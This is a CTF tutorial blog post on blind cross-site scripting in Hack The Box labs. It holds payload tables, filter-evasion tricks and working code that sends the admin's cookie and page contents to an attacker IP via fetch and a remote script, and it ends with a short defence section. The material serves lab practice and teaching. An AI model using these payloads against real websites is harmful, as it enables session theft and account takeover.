XSS in CTFs: steal the admin cookie with a blind XSS

How to find an XSS, bypass the usual filters and steal the administrator's cookie with a blind XSS, just like on Hack The Box machines.

· 3 min read

A Cross-Site Scripting (XSS) happens when a website puts your text into a page without escaping it and the browser runs it as JavaScript. In real life it is used to steal sessions or act on the victim's behalf; on Hack The Box machines there is almost always a bot playing the administrator that reviews what you submit (a contact form, a ticket, a bug report), so the goal is to steal its cookie or make requests as it.

The three kinds, in one sentence each

Kind Where the payload lives How it reaches the victim
Reflected In the URL or a request parameter You get them to open a link
Stored In the database (comments, profile, tickets) Anyone who opens the page sees it
DOM Only in the browser: JavaScript that reads location, hash or postMessage A link or a message

When you cannot see where your text is rendered (an administrator reviews it in another panel) it is called blind XSS. It is the most common case in CTFs.

Finding it

  1. Put a unique string in every field: zzz'"<> and search the response (Ctrl+U or Burp) for where it shows up and which characters survive.
  2. The payload depends on the context:
Your text lands... Payload to try
Between tags: <p>HERE</p> <img src=x onerror=alert(1)>
Inside an attribute: value="HERE" " autofocus onfocus=alert(1) x="
Inside a script: var n = 'HERE'; ';alert(1)//
In an href: <a href="HERE"> javascript:alert(1)

Tip

Use alert(document.domain) instead of alert(1): if the XSS fires in an iframe from another domain, you will notice straight away.

Start a server that logs requests and send a payload that calls your IP:

python3 -m http.server 80
<img src=x onerror="fetch('http://10.10.14.5/?c='+btoa(document.cookie))">
<script src="http://10.10.14.5/x.js"></script>

The second one is the handiest: the payload is short and you change what it runs by editing x.js on your machine, without submitting it again:

// x.js: send the cookie and the page the admin sees
fetch('http://10.10.14.5/c?' + btoa(document.cookie));
fetch('/admin').then(r => r.text()).then(t =>
  fetch('http://10.10.14.5/p', {method: 'POST', body: t}));

When the cookie arrives, set it in your browser (the Storage tab of the developer tools) and reload. If the field is not shown on the site, try every field and also the User-Agent and Referer headers: many admin panels render them.

Important

If the cookie has the HttpOnly flag, JavaScript cannot read it and document.cookie comes back empty. That is fine: use the XSS to make requests as the administrator (read /admin, create a user, change their password) and send yourself the response as in x.js.

Bypassing the usual filters

If they block... Try
<script> <img src=x onerror=...>, <svg onload=...>, <details open ontoggle=...>
Spaces <svg/onload=alert(1)>
Parentheses alert`1` or onerror=alert;throw 1
Quotes String.fromCharCode(...) or backtick templates
The words alert or cookie window['al'+'ert'], document['coo'+'kie']
All of the above Base64-encode the code and run it with eval(atob('...'))

If the site filters your text both on the server and on the client, read the JavaScript: sometimes the filter only exists in the browser and sending the request from Burp is enough.

  • CSRF through the XSS: with JavaScript on the victim's domain you can read the anti-CSRF token and submit any form.
  • XSS → RCE: in Electron desktop apps, in panels that render PDFs with a browser (read file:///etc/passwd with an <iframe>) or in admin panels with an "upload plugin" feature.
  • Internal scanning: the bot's browser is inside the network; from it you can fetch services you cannot see (like a client-side SSRF).

Defence in two lines

Always escape output for its context (HTML, attribute, JavaScript, URL), use templates that do it by default, mark cookies HttpOnly and SameSite, and add a CSP that does not allow unsafe-inline.

For the rest of the web bugs, follow the web pentesting checklist or the Web pentesting path.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Cross-Site Scripting (XSS) 14 machines

See all 14 machines →

Spotted a mistake or something missing? Tell us